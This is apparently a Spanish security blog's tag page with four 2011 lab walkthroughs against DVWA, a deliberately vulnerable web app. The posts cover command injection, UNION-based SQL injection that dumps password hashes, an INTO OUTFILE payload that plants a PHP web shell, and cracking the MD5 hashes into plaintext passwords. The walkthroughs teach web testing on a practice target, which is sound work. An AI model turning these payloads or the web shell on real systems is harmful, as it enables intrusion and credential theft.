Mostrando entradas con la etiqueta DVWA. Mostrar todas las entradas
Mostrando entradas con la etiqueta DVWA. Mostrar todas las entradas

26 de septiembre de 2011

DVWA + findmyhash - PoC

En la entrada anterior os presentamos findmyhash, un script en Python que busca en bases de datos online para romper diferentes algoritmos de hash.

Hoy os vamos a mostrar un ejemplo de cómo utilizarlo aplicándolo a la serie de entradas que estamos publicando sobre DVWA.

En las pruebas de inyección de código SQL habíamos conseguido extraer los hashes de las contraseñas de los usuarios pero nos habíamos quedado ahí, sin haber llegado a romper dichos hashes. Para ello es para lo que vamos a utilizar findmyhash.

Si extraemos el listado de usuarios y sus respectivos hashes de la base de datos tenemos:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99
Ahora crearemos un fichero con tan sólo los hashes, de manera que nuestro fichero "/tmp/hashes.txt" contendrá:
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
Como veis he eliminado el último hash por ser exactamente el mismo que el primero y así realizar menos peticiones.

Si lanzamos findmyhash, sabiendo que son hashes MD5, obtenemos un resultado como el siguiente:

$ python findmyhash.py MD5 -f /tmp/hashes.txt

Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99

Analyzing with hashcracking 
  (http://md5.hashcracking.com)...

***** HASH CRACKED!! *****
The original string is: password


Cracking hash: e99a18c428cb38d5f260853678922e03

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: abc123


Cracking hash: 8d3533d75ae2c3966d7e0d4fcc69216b

Analyzing with c0llision 
  (http://www.c0llision.net)...

***** HASH CRACKED!! *****
The original string is: charley


Cracking hash: 0d107d09f5bbe40cade3de5c71e9e9b7

Analyzing with md5hashcracker 
  (http://md5hashcracker.appspot.com)...

***** HASH CRACKED!! *****
The original string is: letmein


The following hashes were cracked:
----------------------------------

5f4dcc3b5aa765d61d8327deb882cf99 -> password
e99a18c428cb38d5f260853678922e03 -> abc123
8d3533d75ae2c3966d7e0d4fcc69216b -> charley
0d107d09f5bbe40cade3de5c71e9e9b7 -> letmein

Con esto ya tendríamos las contraseñas de todos los usuarios ;)


19 de septiembre de 2011

DVWA - SQLi nivel medio (III)

Es el turno del nivel medio de la sección de inyección de código SQL del DVWA. Lo primero, como siempre, es seleccionar en el nivel “medium”.

Tenemos que ver el modo en el que podríamos empezar a inyectar. Igual que en el modo low podemos probar a ver qué pasa al introducir una comilla simple:


El resultado obtenido es el siguiente:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

En pocas palabras, dice que está “escapando” el carácter de comilla simple y, por tanto, tratándolo como si fuera una cadena de caracteres. No vamos a poder usar esta técnica, como en el punto anterior.

Tendríamos que probar ahora que clase de caracteres podemos introducir, así pues introducimos por un lado un carácter y por otro lado un número y veamos cómo responde:

Probamos introduciendo una letra.
Introducimos un número.

Pues parece que los caracteres no los acepta. Sin embargo al introducir un número tal como "1", nos devuelve lo que parece el primer resultado de una tabla. Si introducimos números sucesivos, nos devolverá otros resultados.

El resto de las peticiones son bastante parecidas a las del nivel low, sólo era cuestión de encontrar un punto de entrada. Recordad que no se pueden usar comillas simples, aunque probablemente tampoco se puedan usar otros tipos de caracteres como las comillas dobles.

Bien, probemos la siguiente petición, a ver qué tal sale:


Bueno, parece que hemos conseguido un punto de entrada adecuado. Probemos a realizar las pruebas tal y como las hicimos en el apartado anterior, teniendo en cuenta que no debemos usar comillas. Usaremos directamente la sentencia que nos proporcionó los hashes de la base de datos:

1 and 1 = 0 union select user, Password from users --


Tal y como hicimos en ocasiones previas explicamos un poco la sentencia usada:

  • 1 and 1 = 0: lo igualamos a 0 porque no queremos que nos saque otros resultados que no sean los hashes.
  • El resto de la sentencia es evidente, y terminamos cerrándola con – para que lo posterior no lo interprete y aparezca como si fuera un comentario, cerrando la sentencia de esta forma.

Y ya tenemos otra vez los hashes deseados.


15 de septiembre de 2011

DVWA - SQLi nivel low (II)

En esta segunda parte de practicar con esta distro vamos a probar a realizar SQL injection en el nivel fácil. El nivel medio no es muy diferente, las técnicas son similares, pero el modo de conseguir acceso es algo distinto. Lo dejaremos para el siguiente post.

Lo primero como siempre es ponerlo en el nivel "low".

Tenemos que ver el modo en el que podríamos empezar a inyectar. Lo cierto es que en este nivel, verlo va a ser rápido. Podemos probar por meter una comilla simple en el cuadro, y ver el resultado obtenido:


El error lo muestro a continuación:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''' at line 1

Lo que viene a indicar que no se está utilizando una sintaxis correcta en la sentencia SQL. Más concretamente, está quejándose de que faltan unas comillas simples. Introduciendo dos comillas simples obtendremos lo siguiente:


Y esto indicaría que la sentencia SQL se ha ejecutado correctamente, pero que no le hemos solicitado nada (no le hemos hecho una consulta que devuelve datos). Ojo, una consulta sí que hemos realizado, sólo que no una que devuelva resultados.

Así que la idea es introducir algo en la consulta que se está realizando ya de por sí. Probablemente será algo del tipo select * from tabla where algo='$algo'. Al introducir parámetros en el recuadro quedaría algo tal como:

select * from tabla where algo=''lo que hemos introducido''

(lo que resalto en rojo es la cadena que introducimos/inyectamos directamente desde el cuadro de texto)

Bien, vamos a lo interesante, a que empiece a darnos resultados. Probaremos lo siguiente:

' union select table_name, null from information_schema.tables -- '


La explicación de lo que hemos introducido es la siguiente:

  • La primera comilla cierra la primera query,
  • union sirve para unir la primera consulta, la de la aplicación, con la nuestra
  • el resto sirve para obtener el listado de tablas del esquema de la base de datos
  • -- ' , al final, sirve para decir que lo que sigue a continuación es un comentario y así ignorar el resto de la consulta de la aplicación web.

En vez de null, podríamos haber puesto cualquier dato numérico, simplemente sirve para sacar el listado de tablas en el valor "First name" y nada en el valor "Surname"

Así que seguimos adelante. Vamos a obtener de la tabla usuario la columna de password:

' union select table_name, column_name from information_schema.columns where table_name='user' -- '


Y finalmente tenemos la tabla user con la columna "Password". Devuelve muchos más resultados, pero he mostrado directamente los que nos interesa.

Ya sólo falta obtener el contenido de esta columna, y con eso tendríamos lo que buscamos, más o menos.

La nueva consulta que introduciremos para obtener estos resultados es:

' union select user, Password from users -- '


Y ya tenemos lo que buscábamos: los hashes de las contraseñas. Ahora a divertirse averiguando a que corresponde cada uno de esos hashes obtenidos.

Bien, el siguiente paso por mi parte, aparte de conseguir las contraseñas, sería intentar conseguir una consola. En este caso es bastante sencillo. Solo tenemos que modificar nuestra consulta un poco.

La consulta que hemos contruido es la siguiente:

' union select "<? system($_REQUEST['cmd']); ?>", null from information_schema.columns INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" -- '


Como se puede observar, no muestra ningún tipo de datos de salida, es como si no hubiera funcionado. Esto es por lo siguiente:

  • Con INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" le estamos diciendo que vuelque a ese fichero la salida. Tiene que ser esa ruta concreta porque es de donde puede leer el servidor web. Os dejo averiguar cómo saber que esa es la ruta (o leer el anterior post de DVWA).

Os muestro una captura de lo que se podría conseguir con el comando adecuado:


Lo que he usado es lo siguiente, introduciéndolo en la barra del navegador:

http://192.168.1.105/hackable/uploads/shell.php?cmd=ls -lh ../

No es la mejor manera de hacerlo, pero sirve como prueba de concepto.

27 de agosto de 2011

DVWA - Ejecución de Comandos (I)


Desde que me dedico a esto, siempre he estado leyendo en uno y otro sitio cómo hacer diferentes cosas, tipos de ataques, y configuraciones. Salvo contadas ocasiones, en la mayoría de ellos se limitaban a decir cual era el tipo de vulnerabilidad, pero no contaban cómo se explotaba, y en los pocos que contaban cómo hacerlo, montar el laboratorio para ello no era moco de pavo.

Pues bien, hemos decidido hacer algo diferente, aprovechando las muchas fuentes y posibilidades que nos ofrece la red. Combinadas algunas de ellas, nos podemos montar un entorno de pruebas rápido y (no)fiable, sin tener que instalar millones de cosas, que no todos dominamos, ni configuraciones casi imposibles de reproducir.

Hablando con mis colegas, hemos pensado de usar un entorno como el DVWA, que ya lo tiene todo montado. Ir resolviendo las diferentes pruebas en sus diferentes niveles (siempre y cuando ello sea posible), y la parte que consideramos más interesante. Que hacer con ello una vez que la vulnerabilidad sea explotada. Lógicamente no vamos a contemplar el montón de posibilidades que existen, pero si algunas de ellas, y cómo se desarrollaría en la práctica.

Lo primero, descargar el DVWA e instalarlo. Es en modo livecd, así que si tienes un sistema por ahí que tengas tonteando, lo metes, arrancas el livecd y tirando millas. En caso contrario, te lo montas en una máquina virtual y funciona perfectamente igual.

Te lo puedes descargar de aquí: http://www.dvwa.co.uk/DVWA-1.0.7.iso

Empezaremos con la prueba de “Command execution” en el nivel básico. Podéis observar una captura de cómo quedaría una vez arrancado y accedido a la aplicación:


Necesitaremos en la máquina que vamos a emplear para realizar las pruebas un Proxy. Yo he usado Burp proxy, pero podéis usar el que os plazca. Burp proxy lo podéis descargar de aquí: http://portswigger.net/burp/download.html.

He usado éste por su sencillez de uso y de instalación. Sin embargo, hoy día hay otros con distintas posibilidades como el proxyStrike o el ZAP Proxy.

Realicemos la primera petición y analicemos qué es lo que pasa. Para ello tendríamos que emplear una dirección IP tal y como nos piden y ver el resultado obtenido.


Nada nuevo bajo el sol. Le introducimos una dirección IP, le hacemos un ping y devuelve un resultado.

¿Qué pasaría si introdujéramos algo que no fuera una dirección IP? Veámoslo.


Parece que no ocurre nada.

Ahora vamos a contar con el proxy que os comentábamos anteriormente. En la primera captura, en el caso en el cual obteníamos un resultado, el proxy mostraba esto como peticiones:


Es posible observar en el recuadro rojo lo que parece nuestra petición. Una dirección IP, que es la que nosotros introdujimos en su correspondiente recuadro, seguido de otro parámetro.

Probemos ahora a introducir otros parámetros. El resultado obtenido, sería lo que vemos a continuación:



El resultado obtenido parece el previsto. Nada. Si no introducimos una dirección IP a la que realizarle un ping no obtenemos resultado alguno.

Sin embargo, observad el resultado que arroja el proxy (“IP=192.168.0.1+tururu”). Le añade el tururu al final de la dirección IP? Y si le añadiéramos otra cosa tal como haríamos si tuviéramos una línea de comando, una consola?



Observad. ¡Tenemos resultados!. Podemos listar por ejemplo los ficheros y directorios. En la captura del proxy podemos ver que lo que hace es añadir los parámetros uno tras otro.

Aunque todo esto se podría haber realizado sin un proxy, sólo a base de realizar peticiones. Ahora veis la importancia de poder realizar un análisis más pormenorizado de lo que está ocurriendo por debajo, y de poderlo hacer sobre la marcha. Es para esto que usamos habitualmente proxies, con los que podemos observar el tráfico HTTP de lo que estamos haciendo.

No sólo esto, podemos además parar el proceso normal de las peticiones, de forma que podríamos modificarlas con él y enviar lo que necesitáramos en cada momento.